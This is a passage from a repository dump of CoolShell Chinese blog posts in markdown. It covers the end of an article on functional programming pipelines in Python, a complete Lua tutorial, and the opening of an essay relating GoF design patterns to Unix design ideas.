draw()\n```\n\n上面的代码，我们可以从主循环开始，我们可以很清楚地看到程序的主干，因为我们把程序的逻辑分成了几个函数，这样一来，我们的代码逻辑也会变得几个小碎片，于是我们读代码时要考虑的上下文就少了很多，阅读代码也会更容易。不像第一个示例，如果没有注释和说明，你还是需要花些时间理解一下。**而把代码逻辑封装成了函数后，我们就相当于给每个相对独立的程序逻辑取了个名字，于是代码成了自解释的**。\n\n\n但是，你会发现，封装成函数后，这些函数都会依赖于共享的变量来同步其状态。于是，我们在读代码的过程时，每当我们进入到函数里，一量读到访问了一个外部的变量，我们马上要去查看这个变量的上下文，然后还要在大脑里推演这个变量的状态， 我们才知道程序的真正逻辑。也就是说，**这些函数间必需知道其它函数是怎么修改它们之间的共享变量的，所以，这些函数是有状态的**。\n\n\n我们知道，有状态并不是一件很好的事情，无论是对代码重用，还是对代码的并行来说，都是有副作用的。因此，我们要想个方法把这些状态搞掉，于是出现了我们的 Functional Programming 的编程范式。下面，我们来看看函数式的方式应该怎么写？\n\n\n\n```\nfrom random import random\n\ndef move_cars(car_positions):\n    return map(lambda x: x + 1 if random() > 0.3 else x,\n               car_positions)\n\ndef output_car(car_position):\n    return '-' * car_position\n\ndef run_step_of_race(state):\n    return {'time': state['time'] - 1,\n            'car_positions': move_cars(state['car_positions'])}\n\ndef draw(state):\n    print ''\n    print '\\n'.join(map(output_car, state['car_positions']))\n\ndef race(state):\n    draw(state)\n    if state['time']:\n        race(run_step_of_race(state))\n\nrace({'time': 5,\n      'car_positions': [1, 1, 1]})\n```\n\n上面的代码依然把程序的逻辑分成了函数，不过这些函数都是functional的。因为它们有三个症状：\n\n\n1）它们之间没有共享的变量。  \n\n2）函数间通过参数和返回值来传递数据。  \n\n3）在函数里没有临时变量。\n\n\n我们还可以看到，for循环被递归取代了（见race函数）—— 递归是函数式编程中带用到的技术，正如前面所说的，递归的本质就是描述问题是什么。\n\n\n![](../wp-content/uploads/2013/12/forrest-gump.jpg)\n\n\n#### Pipeline\n\n\npipeline 管道借鉴于Unix Shell的管道操作——把若干个命令串起来，前面命令的输出成为后面命令的输入，如此完成一个流式计算。（注：管道绝对是一个伟大的发明，他的设哲学就是KISS – 让每个功能就做一件事，并把这件事做到极致，软件或程序的拼装会变得更为简单和直观。这个设计理念影响非常深远，包括今天的Web Service，云计算，以及大数据的流式计算等等）\n\n\n比如，我们如下的shell命令：\n\n\n\n```\nps auwwx | awk '{print $2}' | sort -n | xargs echo\n```\n\n如果我们抽象成函数式的语言，就像下面这样：\n\n\n\n```\nxargs( echo, sort(n, awk('print $2', ps(auwwx))) )\n```\n\n也可以类似下面这个样子：\n\n\n\n```\npids = for_each(result, [ps_auwwx, awk_p2, sort_n, xargs_echo])\n```\n\n好了，让我们来看看函数式编程的Pipeline怎么玩？\n\n\n我们先来看一个如下的程序，这个程序的process()有三个步骤：\n\n\n1）找出偶数。  \n\n2）乘以3  \n\n3）转成字符串返回\n\n\n\n```\ndef process(num):\n    # filter out non-evens\n    if num % 2 != 0:\n        return\n    num = num * 3\n    num = 'The Number: %s' % num\n    return num\n\nnums = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n\nfor num in nums:\n    print process(num)\n\n# 输出：\n# None\n# The Number: 6\n# None\n# The Number: 12\n# None\n# The Number: 18\n# None\n# The Number: 24\n# None\n# The Number: 30\n```\n\n我们可以看到，输出的并不够完美，另外，代码阅读上如果没有注释，你也会比较晕。下面，我们来看看函数式的pipeline（第一种方式）应该怎么写？\n\n\n\n```\ndef even_filter(nums):\n    for num in nums:\n        if num % 2 == 0:\n            yield num\ndef multiply_by_three(nums):\n    for num in nums:\n        yield num * 3\ndef convert_to_string(nums):\n    for num in nums:\n        yield 'The Number: %s' % num\n\nnums = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\npipeline = convert_to_string(multiply_by_three(even_filter(nums)))\nfor num in pipeline:\n    print num\n# 输出：\n# The Number: 6\n# The Number: 12\n# The Number: 18\n# The Number: 24\n# The Number: 30\n```\n\n我们动用了Python的关键字 yield，这个关键字主要是返回一个Generator，yield 是一个类似 return 的关键字，只是这个函数返回的是个Generator-生成器。所谓生成器的意思是，yield返回的是一个可迭代的对象，并没有真正的执行函数。也就是说，只有其返回的迭代对象被真正迭代时，yield函数才会正真的运行，运行到yield语句时就会停住，然后等下一次的迭代。（这个是个比较诡异的关键字）这就是lazy evluation。\n\n\n好了，根据前面的原则——“**使用Map & Reduce，不要使用循环**”，那我们用比较纯朴的Map & Reduce吧。\n\n\n\n```\ndef even_filter(nums):\n    return filter(lambda x: x%2==0, nums)\n\ndef multiply_by_three(nums):\n    return map(lambda x: x*3, nums)\n\ndef convert_to_string(nums):\n    return map(lambda x: 'The Number: %s' % x,  nums)\n\nnums = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\npipeline = convert_to_string(\n               multiply_by_three(\n                   even_filter(nums)\n               )\n            )\nfor num in pipeline:\n    print num\n```\n\n但是他们的代码需要嵌套使用函数，这个有点不爽，如果我们能像下面这个样子就好了（第二种方式）。\n\n\n\n```\npipeline_func(nums, [even_filter,\n                     multiply_by_three,\n                     convert_to_string])\n```\n\n那么，pipeline\\_func 实现如下：\n\n\n\n```\ndef pipeline_func(data, fns):\n    return reduce(lambda a, x: x(a),\n                  fns,\n                  data)\n```\n\n好了，在读过这么多的程序后，你可以回头看一下这篇文章的开头对函数式编程的描述，可能你就更有感觉了。\n\n\n最后，**我希望这篇浅显易懂的文章能让你感受到函数式编程的思想，就像OO编程，泛型编程，过程式编程一样，我们不用太纠结是不是我们的程序就是OO，就是functional的，我们重要的品味其中的味道**。\n\n\n#### 参考\n\n\n* Wikipedia: [Functional Programming](http://en.wikipedia.org/wiki/Functional_programming)\n* [truly understanding the difference between procedural and functional](http://stackoverflow.com/questions/5226055/truly-understanding-the-difference-between-procedural-and-functional)\n* [A practical introduction to functional programming](http://maryrosecook.com/post/a-practical-introduction-to-functional-programming)\n* [What is the difference between procedural programming and functional programming?](http://stackoverflow.com/q/23277/211232)\n* [Can someone give me examples of functional programming vs imperative/procedural programming?](http://stackoverflow.com/q/3249863/211232)\n* [OOP vs Functional Programming vs Procedural](http://stackoverflow.com/q/552336/211232)\n* Python – [Functional Programming HOWTO](http://docs.python.org/2/howto/functional.html#)\n\n\n**补充**：评论中[redraiment](http://weibo.com/redraiment \"redraiment\")的[这个评论](https://coolshell.cn/articles/10822.html#comment-1111518)大家也可以读一读。\n\n\n感谢谢网友S142857 提供的shell风格的python pipeline：\n\n\n\n```\nclass Pipe(object):\n    def __init__(self, func):\n        self.func = func\n\n    def __ror__(self, other):\n        def generator():\n            for obj in other:\n                if obj is not None:\n                    yield self.func(obj)\n        return generator()\n\n@Pipe\ndef even_filter(num):\n    return num if num % 2 == 0 else None\n\n@Pipe\ndef multiply_by_three(num):\n    return num*3\n\n@Pipe\ndef convert_to_string(num):\n    return 'The Number: %s' % num\n\n@Pipe\ndef echo(item):\n    print item\n    return item\n\ndef force(sqs):\n    for item in sqs: pass\n\nnums = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n\nforce(nums | even_filter | multiply_by_three | convert_to_string | echo)\n```\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\n* [![Go编程模式：Map-Reduce](../wp-content/uploads/2020/12/go.map_.reduce-150x150.png)](https://coolshell.cn/articles/21164.html)[Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Go编程模式：修饰器](../wp-content/uploads/2017/06/go-hardhat-150x150.png)](https://coolshell.cn/articles/17929.html)[Go编程模式：修饰器](https://coolshell.cn/articles/17929.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\nThe post [函数式编程](https://coolshell.cn/articles/10822.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-12-3 Lua简明教程.md",
    "content": "---\nlayout: post\ntitle: Lua简明教程\ndate: 2013/12/3/ 0:29:6\nupdated: 2013/12/3/ 0:29:6\nstatus: publish\npublished: true\ntype: post\n---\n\nhttp://www.lua.org/images/lua.gif \"welcome!\"这几天系统地学习了一下[Lua这个脚本语言](http://www.lua.org)，Lua脚本是一个很轻量级的脚本，也是号称性能最高的脚本，用在很多需要性能的地方，比如：游戏脚本，nginx，wireshark的脚本，当你把他的源码下下来编译后，你会发现解释器居然不到200k，这是多么地变态啊（/bin/sh都要1M，MacOS平台），而且能和C语言非常好的互动。我很好奇得浏览了一下Lua解释器的源码，这可能是我看过最干净的C的源码了。\n\n\n我不想写一篇大而全的语言手册，一方面是因为已经有了（见本文后面的链接），重要的原因是，因为大篇幅的文章会挫败人的学习热情，我始终觉得好的文章读起来就像拉大便一样，能一口气很流畅地搞完，才会让人爽（这也是我为什么不想写书的原因）。所以，这必然又是一篇“入厕文章”，还是那句话，我希望本文能够让大家利用上下班，上厕所大便的时间学习一个技术。呵呵。\n\n\n相信你现在已经在厕所里脱掉裤子露出屁股已经准备好大便了，那就让我们畅快地排泄吧……\n\n\n#### 运行\n\n\n首先，我们需要知道，Lua是类C的，所以，他是大小写字符敏感的。\n\n\n下面是Lua的Hello World。注意：Lua脚本的语句的分号是可选的，这个和[GO语言很类似](https://coolshell.cn/articles/8460.html \"Go 语言简介（上）— 语法\")。\n\n\n`print(\"Hello World\")`\n\n\n你可以像python一样，在命令行上运行lua命令后进入lua的shell中执行语句。\n\n\n\n```\nchenhao-air:lua chenhao$ lua\nLua 5.2.2  Copyright (C) 1994-2013 Lua.org, PUC-Rio\n> print(\"Hello, World\")\nHello, World\n> \n```\n\n\n也可以把脚本存成一个文件，用如下命令行来运行。\n\n\n`>lua file.lua`\n\n\n或是像shell一样运行：\n\n\n\n```\nchenhao-air:lua chenhao$ cat hello.lua\n#!/usr/local/bin/lua\nprint(\"Hello, World\")\nchenhao-air:lua chenhao$ chmod +x hello.lua\nchenhao-air:test chenhao$ ./hello.lua\nHello, World\n```\n\n#### 语法\n\n\n##### 注释\n\n\n`-- 两个减号是行注释`\n\n\n \n\n\n\n```\n--[[\n 这是块注释\n 这是块注释\n --]]\n```\n\n##### 变量\n\n\nLua的数字只有double型，64bits，你不必担心Lua处理浮点数会慢（除非大于100,000,000,000,000），或是会有精度问题。\n\n\n你可以以如下的方式表示数字，0x开头的16进制和C是很像的。\n\n\n\n```\n\nnum = 1024\nnum = 3.0\nnum = 3.1416\nnum = 314.16e-2\nnum = 0.31416E1\nnum = 0xff\nnum = 0x56\n\n```\n\n字符串你可以用单引号，也可以用双引号，还支持C类型的转义，比如： ‘\\a’ （响铃）， ‘\\b’ （退格）， ‘\\f’ （表单）， ‘\\n’ （换行）， ‘\\r’ （回车）， ‘\\t’ （横向制表）， ‘\\v’ （纵向制表）， ‘\\\\’ （反斜杠）， ‘\\”‘ （双引号）， 以及 ‘\\” （单引号)\n\n\n下面的四种方式定义了完全相同的字符串（其中的两个中括号可以用于定义有换行的字符串）\n\n\n\n```\n\na = 'alo\\n123\"'\na = \"alo\\n123\\\"\"\na = '\\97lo\\10\\04923\"'\na = [[alo\n123\"]]\n```\n\nC语言中的NULL在Lua中是nil，比如你访问一个没有声明过的变量，就是nil，比如下面的v的值就是nil\n\n\n`v = UndefinedVariable`\n\n\n布尔类型只有nil和false是 false，数字0啊，‘’空字符串（’\\0’）都是true！\n\n\n另外，需要注意的是：lua中的变量如果没有特殊说明，全是全局变量，那怕是语句块或是函数里。变量前加local关键字的是局部变量。\n\n\n\n```\ntheGlobalVar = 50\nlocal theLocalVar = \"local variable\"\n```\n\n#### 控制语句\n\n\n不多说了，直接看代码吧（注意：Lua没有++或是+=这样的操作）\n\n\n##### while循环\n\n\n\n```\nsum = 0\nnum = 1\nwhile num <= 100 do\n    sum = sum + num\n    num = num + 1\nend\nprint(\"sum =\",sum)\n```\n\n##### if-else分支\n\n\n\n```\nif age == 40 and sex ==\"Male\" then\n    print(\"男人四十一枝花\")\nelseif age > 60 and sex ~=\"Female\" then\n    print(\"old man without country!\")\nelseif age < 20 then\n    io.write(\"too young, too naive!\\n\")\nelse\n    local age = io.read()\n    print(\"Your age is \"..age)\nend\n```\n\n上面的语句不但展示了if-else语句，也展示了  \n\n1）“～=”是不等于，而不是!=  \n\n2）io库的分别从stdin和stdout读写的read和write函数  \n\n3）字符串的拼接操作符“..”\n\n\n另外，条件表达式中的与或非为分是：and, or, not关键字。\n\n\n##### for 循环\n\n\n\n```\nsum = 0\nfor i = 1, 100 do\n    sum = sum + i\nend\n```\n\n \n\n\n\n```\nsum = 0\nfor i = 1, 100, 2 do\n    sum = sum + i\nend\n```\n\n \n\n\n\n```\nsum = 0\nfor i = 100, 1, -2 do\n    sum = sum + i\nend\n```\n\n##### until循环\n\n\n\n```\nsum = 2\nrepeat\n   sum = sum ^ 2 --幂操作\n   print(sum)\nuntil sum >1000\n```\n\n#### 函数\n\n\nLua的函数和Javascript的很像\n\n\n##### 递归\n\n\n\n```\nfunction fib(n)\n  if n < 2 then return 1 end\n  return fib(n - 2) + fib(n - 1)\nend\n```\n\n##### 闭包\n\n\n同样，Javascript附体！\n\n\n\n```\nfunction newCounter()\n    local i = 0\n    return function()     -- anonymous function\n       i = i + 1\n        return i\n    end\nend\n\nc1 = newCounter()\nprint(c1())  --> 1\nprint(c1())  --> 2\n```\n\n \n\n\n\n```\nfunction myPower(x)\n    return function(y) return y^x end\nend\n\npower2 = myPower(2)\npower3 = myPower(3)\n\nprint(power2(4)) --4的2次方\nprint(power3(5)) --5的3次方\n```\n\n##### 函数的返回值\n\n\n和[Go语言一样](https://coolshell.cn/articles/8460.html \"Go 语言简介（上）— 语法\")，可以一条语句上赋多个值，如：\n\n\n`name, age, bGay = \"haoel\", 37, false, \"haoel@hotmail.com\"`\n\n\n上面的代码中，因为只有3个变量，所以第四个值被丢弃。\n\n\n函数也可以返回多个值：\n\n\n\n```\nfunction getUserInfo(id)\n    print(id)\n    return \"haoel\", 37, \"haoel@hotmail.com\", \"https://coolshell.cn\"\nend\n\nname, age, email, website, bGay = getUserInfo()\n\n```\n\n注意：上面的示例中，因为没有传id，所以函数中的id输出为nil，因为没有返回bGay，所以bGay也是nil。\n\n\n##### 局部函数\n\n\n函数前面加上local就是局部函数，其实，Lua中的函数和Javascript中的一个德行。\n\n\n比如：下面的两个函数是一样的：\n\n\n\n```\nfunction foo(x) return x^2 end\nfoo = function(x) return x^2 end\n```\n\n#### Table\n\n\n所谓Table其实就是一个Key Value的数据结构，它很像Javascript中的Object，或是PHP中的数组，在别的语言里叫Dict或Map，Table长成这个样子：\n\n\n`haoel = {name=\"ChenHao\", age=37, handsome=True}`\n\n\n下面是table的CRUD操作：\n\n\n\n```\nhaoel.website=\"https://coolshell.cn/\"\nlocal age = haoel.age\nhaoel.handsome = false\nhaoel.name=nil\n```\n\n上面看上去像C/C++中的结构体，但是name,age, handsome, website都是key。你还可以像下面这样写义Table：\n\n\n`t = {[20]=100, ['name']=\"ChenHao\", [3.14]=\"PI\"}` \n\n\n这样就更像Key Value了。于是你可以这样访问：t[20]，t[“name”], t[3.14]。\n\n\n我们再来看看数组：\n\n\n`arr = {10,20,30,40,50}`\n\n\n这样看上去就像数组了。但其实其等价于：\n\n\n`arr = {[1]=10, [2]=20, [3]=30, [4]=40, [5]=50}`\n\n\n所以，你也可以定义成不同的类型的数组，比如：\n\n\n`arr = {\"string\", 100, \"haoel\", function() print(\"coolshell.cn\") end}`\n\n\n注：其中的函数可以这样调用：arr[4]()。\n\n\n我们可以看到Lua的下标不是从0开始的，是从1开始的。\n\n\n\n```\nfor i=1, #arr do\n    print(arr[i])\nend\n```\n\n注：上面的程序中：#arr的意思就是arr的长度。\n\n\n注：前面说过，Lua中的变量，如果没有local关键字，全都是全局变量，Lua也是用Table来管理全局变量的，Lua把这些全局变量放在了一个叫“\\_G”的Table里。\n\n\n我们可以用如下的方式来访问一个全局变量（假设我们这个全局变量名叫globalVar）：\n\n\n\n```\n_G.globalVar\n_G[\"globalVar\"]\n```\n\n我们可以通过下面的方式来遍历一个Table。\n\n\n\n```\nfor k, v in pairs(t) do\n    print(k, v)\nend\n```\n\n#### MetaTable 和 MetaMethod\n\n\nMetaTable和MetaMethod是Lua中的重要的语法，MetaTable主要是用来做一些类似于C++重载操作符式的功能。\n\n\n比如，我们有两个分数：\n\n\n\n```\nfraction_a = {numerator=2, denominator=3}\nfraction_b = {numerator=4, denominator=7}\n```\n\n我们想实现分数间的相加：2/3 + 4/7，我们如果要执行： fraction\\_a + fraction\\_b，会报错的。\n\n\n所以，我们可以动用MetaTable，如下所示：\n\n\n\n```\nfraction_op={}\nfunction fraction_op.__add(f1, f2)\n    ret = {}\n    ret.numerator = f1.numerator * f2.denominator + f2.numerator * f1.denominator\n    ret.denominator = f1.denominator * f2.denominator\n    return ret\nend\n\n```\n\n为之前定义的两个table设置MetaTable：（其中的setmetatble是库函数）\n\n\n\n```\nsetmetatable(fraction_a, fraction_op)\nsetmetatable(fraction_b, fraction_op)\n```\n\n于是你就可以这样干了：（调用的是fraction\\_op.\\_\\_add()函数）\n\n\n`fraction_s = fraction_a + fraction_b`\n\n\n至于\\_\\_add这是MetaMethod，这是Lua内建约定的，其它的还有如下的MetaMethod：\n\n\n\n```\n__add(a, b)                     对应表达式 a + b\n__sub(a, b)                     对应表达式 a - b\n__mul(a, b)                     对应表达式 a * b\n__div(a, b)                     对应表达式 a / b\n__mod(a, b)                     对应表达式 a % b\n__pow(a, b)                     对应表达式 a ^ b\n__unm(a)                        对应表达式 -a\n__concat(a, b)                  对应表达式 a .. b\n__len(a)                        对应表达式 #a\n__eq(a, b)                      对应表达式 a == b\n__lt(a, b)                      对应表达式 a < b\n__le(a, b)                      对应表达式 a <= b\n__index(a, b)                   对应表达式 a.b\n__newindex(a, b, c)             对应表达式 a.b = c\n__call(a, ...)                  对应表达式 a(...)\n```\n\n#### “面向对象”\n\n\n上面我们看到有\\_\\_index这个重载，这个东西主要是重载了find key的操作。这操作可以让Lua变得有点面向对象的感觉，让其有点像Javascript的prototype。（关于Javascrip的面向对象，你可以参看我之前写的[Javascript的面向对象](https://coolshell.cn/articles/6441.html \"Javascript 面向对象编程\")）\n\n\n所谓\\_\\_index，说得明确一点，如果我们有两个对象a和b，我们想让b作为a的prototype只需要：\n\n\n`setmetatable(a, {__index = b})`\n\n\n例如下面的示例：你可以用一个Window\\_Prototype的模板加上\\_\\_index的MetaMethod来创建另一个实例：\n\n\n\n```\nWindow_Prototype = {x=0, y=0, width=100, height=100}\nMyWin = {title=\"Hello\"}\nsetmetatable(MyWin, {__index = Window_Prototype})\n```\n\n于是：MyWin中就可以访问x, y, width, height的东东了。（注：当表要索引一个值时如table[key], Lua会首先在table本身中查找key的值, 如果没有并且这个table存在一个带有\\_\\_index属性的Metatable, 则Lua会按照\\_\\_index所定义的函数逻辑查找）\n\n\n有了以上的基础，我们可以来说说所谓的Lua的面向对象。\n\n\n\n```\nPerson={}\n\nfunction Person:new(p)\n    local obj = p\n    if (obj == nil) then\n        obj = {name=\"ChenHao\", age=37, handsome=true}\n    end\n    self.__index = self\n    return setmetatable(obj, self)\nend\n\nfunction Person:toString()\n    return self.name ..\" : \".. self.age ..\" : \".. (self.handsome and \"handsome\" or \"ugly\")\nend\n\n```\n\n上面我们可以看到有一个new方法和一个toString的方法。其中：\n\n\n1）self 就是 Person，Person:new(p)，相当于Person.new(self, p)  \n\n2）new方法的self.\\_\\_index = self 的意图是怕self被扩展后改写，所以，让其保持原样  \n\n3）setmetatable这个函数返回的是第一个参数的值。\n\n\n于是：我们可以这样调用：\n\n\n\n```\nme = Person:new()\nprint(me:toString())\n\nkf = Person:new{name=\"King's fucking\", age=70, handsome=false}\nprint(kf:toString())\n\n```\n\n继承如下，我就不多说了，Lua和Javascript很相似，都是在Prototype的实例上改过来改过去的。\n\n\n\n```\nStudent = Person:new()\n\nfunction Student:new()\n    newObj = {year = 2013}\n    self.__index = self\n    return setmetatable(newObj, self)\nend\n\nfunction Student:toString()\n    return \"Student : \".. self.year..\" : \" .. self.name\nend\n```\n\n#### 模块\n\n\n我们可以直接使用require(“model\\_name”)来载入别的lua文件，文件的后缀是.lua。载入的时候就直接执行那个文件了。比如：\n\n\n我们有一个hello.lua的文件：\n\n\n`print(\"Hello, World!\")`\n\n\n如果我们：require(“hello”)，那么就直接输出Hello, World！了。\n\n\n注意：  \n\n1）require函数，载入同样的lua文件时，只有第一次的时候会去执行，后面的相同的都不执行了。  \n\n2）如果你要让每一次文件都会执行的话，你可以使用dofile(“hello”)函数  \n\n3）如果你要玩载入后不执行，等你需要的时候执行时，你可以使用 loadfile()函数，如下所示：\n\n\n\n```\nlocal hello = loadfile(\"hello\")\n... ...\n... ...\nhello()\n```\n\nloadfile(“hello”)后，文件并不执行，我们把文件赋给一个变量hello，当hello()时，才真的执行。（我们多希望JavaScript也有这样的功能（参看《[Javascript 装载和执行](https://coolshell.cn/articles/9749.html \"Javascript 装载和执行\")》））\n\n\n当然，更为标准的玩法如下所示。\n\n\n假设我们有一个文件叫mymod.lua，内容如下：\n\n\n\n```\nlocal HaosModel = {}\n\nlocal function getname()\n    return \"Hao Chen\"\nend\n\nfunction HaosModel.Greeting()\n    print(\"Hello, My name is \"..getname())\nend\n\nreturn HaosModel\n```\n\n于是我们可以这样使用：\n\n\n\n```\nlocal hao_model = require(\"mymod\")\nhao_model.Greeting()\n```\n\n其实，require干的事就如下：（所以你知道为什么我们的模块文件要写成那样了）\n\n\n\n```\nlocal hao_model = (function ()\n  --mymod.lua文件的内容--\nend)()\n```\n\n#### 参考\n\n\n我估计你差不多到擦屁股的时间了，所以，如果你还比较喜欢Lua的话，下面是几个在线文章你可以继续学习之：\n\n\n* [manual.luaer.cn](http://manual.luaer.cn/) lua在线手册\n* [book.luaer.cn](http://book.luaer.cn/) lua在线lua学习教程\n* [lua参考手册](http://www.codingnow.com/2000/download/lua_manual.html)Lua参考手册的中文翻译（云风翻译版本）\n\n\n关于Lua的标库，你可以看看官方文档：[string](http://lua-users.org/wiki/StringLibraryTutorial)，  [table](http://lua-users.org/wiki/TableLibraryTutorial)， [math](http://lua-users.org/wiki/MathLibraryTutorial)， [io](http://lua-users.org/wiki/IoLibraryTutorial)， [os](http://lua-users.org/wiki/OsLibraryTutorial)。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5202.html)[对象的消息模型](https://coolshell.cn/articles/5202.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/3083.html)[三个教程](https://coolshell.cn/articles/3083.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/2053.html)[最为奇怪的程序语言的特性](https://coolshell.cn/articles/2053.html)\nThe post [Lua简明教程](https://coolshell.cn/articles/10739.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-2-1 从面向对象的设计模式看软件设计.md",
    "content": "---\nlayout: post\ntitle: 从面向对象的设计模式看软件设计\ndate: 2013/2/1/ 0:15:59\nupdated: 2013/2/1/ 0:15:59\nstatus: publish\npublished: true\ntype: post\n---\n\n前些天发了一篇《[如此理解面向对象编程](https://coolshell.cn/articles/8745.html \"如此理解面向对象编程\")》的文章，然后引起了大家的热议。然后我在[微博上说](http://weibo.com/1401880315/z9wWHrrVR)了一句——“**那23个经典的设计模式和OO半毛钱关系没有，只不过人家用OO来实现罢了……OO的设计模式思想和Unix的设计思想基本没什么差别**”，结果引来了一点点争议。所以，我写下这篇文章把我的观点说明一下。我希望这样可以让大家更容易地理解什么是设计模式。**我顺便帮OO和 Unix/Linux搞搞基**。\n\n\n#### 什么是模式\n\n\n在正式说明GoF的那23个经典的设计模式其实和OO关系不大并和Unix的设计思想很相似的这个观点之前，让我先来说说什么是模式？设计模式的英文是Design Pattern，模式是Pattern的汉译。所谓Pattern就是一种规则，或是一种模型，或是一种习惯。Pattern这个东西到处都是，并不只有技术圏子里才有。比如：\n\n\n* 文章有文章的Pattern。如新闻有新闻的Pattern（第一段话简述了整个新闻），诗歌总是抒情的，论文总是死板的，讲稿总是高谈的，漫画总是幽默的，……\n* 小说有小说的Pattern。比如，\n\t+ 武侠小说必然要整个武林大会，整几个NB的武功和大师，分个正派和反派，还有一个或数个惊天阴谋，坏人总是要在一开始占尽优势，好人总是要力挽狂澜……\n\t+ 言情小说总是要有第三者，总是要有负心人，里面的女子总是要哭得死去活来，但又痴心不改，……\n* 新闻联播的模式是：头10分钟领导很忙，中间10分钟人民很幸福，后10分钟国外很乱。中国政府官方宣传稿也模式也很明显，各种赞美，口号，胜利，总是要坚持个什么，团结个什么，迈向个什么，某某精神，某某思想，群众情绪稳定，不明真相，等等……\n* 春节的模式是，回家，吃饺子，放个鞭炮，给压岁钱，同学聚会…… 同学聚会的模式基本上都是在饭桌上回忆一下校园时光，比较一下各自的当前处境，调戏一下女同学……\n* …… ……\n\n\n这就是Pattern，只要你细心观察，你会发现这世间有很多很多的Pattern。\n\n\n\n#### GoF的23个设计模式\n\n\n《[设计模式](http://product.china-pub.com/25961)》这本书中，GoF这四个人总结了23个经典的面向对象的设计模式，某中有5个创建模式，7个结构模式，11个行为模式。**很多人都会觉得这是面向对象的设计模式，很多人也觉得非面向对象不能用这些模式。我觉得这是一种教条主义。**就像《[那些流行的编程方法](https://coolshell.cn/articles/2058.html \"各种流行的编程风格\")》中的“设计模式驱动型编程”一样，就像《[如此理解面向对象](https://coolshell.cn/articles/8745.html \"如此理解面向对象编程\")》一样的那么的滑稽。\n\n\n好了，回到我的论点——“**GoF的这23个设计模式和OO关系不大，并且和Unix的设计思想基本一致，只不过GoF用OO实现了它们**”，就像我上面说过的那些生活中的Pattern一样，只要你仔细思考，你会发现这23个设计模式在我们的生活和社会中也能有他们的身影。而且也一样可以用OO的方式实现之。\n\n\n让我们来看看这23个经典的设计模式中的几个常用的模式：\n\n\n**Factory 模式**，这个模式可能是是个人都知道的模式。这个模式在现实社会中就像各种工厂一样，工厂跨界的不多，基本上都是在生产同一类的产品，有的生产汽车，有的生产电视，有的生产衣服，有的生产卫生纸……基本上来说，一个生产线上只有做同一类的东西。这和Factory模式很相似。编程中，像内存池，线程池，连接池等池化技术都是这个模式，当然，Factory给你的一个对象，而不单单只是资源，factory创建出来的对象都有同样的接口可以被多态调用。**这其实和Unix把所有的硬件都factory成文件一样，并提供了read/write等文件操作来让你操作任意设备的I/O**。\n\n\n**Abstract Factor**y：抽象工厂这个模式是创建一组有同一主题的不同的类。这个模式在现实社会当中也有很多例子，比如：\n\n\n* 移动公司的合约机计划，88套餐（通话100分钟，短信100条，彩信，20条，上网200M），128套餐（通话200分钟，短信150条，彩信50条，上网500M）……\n\n\n* 家里的装修，总是要有厨卫，有门，有灯，有沙发，有茶几，有床，有衣柜，有电视，有冰箱，有洗衣机……，这些都是必需的，只是每个家庭里的具体装修不一样。\n\n\n* Diablo游戏中的Normal，Hard，Nightmare，Hell模式，这些模式的怪和场景和故事情况都差不多，就是每个场景的怪物和装备的属性不一样。或是WarCraft中的地图就是一个Abstract Factory模式(注：Warcraft的地图什么都能干)。这和学校中的小学，初中，高中，大学差不多，都是一样的学习环境，一样的教学方式，一样的教室，都要期中考和期末考，都有班长和科代表，就是学的东西的难度不一样，但基本上都是语文，英语，数，理，化，还有永远都有的政治课。学校就是一个抽象工厂。\n\n\n这就是抽象工厂的业务模型（或是：Business Pattern），你觉得是不是不一定非要用OO来实现这样的模式？（我们思考一下，我们会不会被先入为主了，觉得不会OO都不知道怎么实现了），不用OO，用相同格式但内容不同的配置文件是不是也能实现？在Unix下**，抽象工厂这个模式在Unix下就像是/etc/rcX.d下的那些东西，1代表命令行单用户，2，代表命令行多用户，3代表命令行多用户完整模式启动，5代表图形界面启动，0代表关机，6代表重启，你要切换的话，init 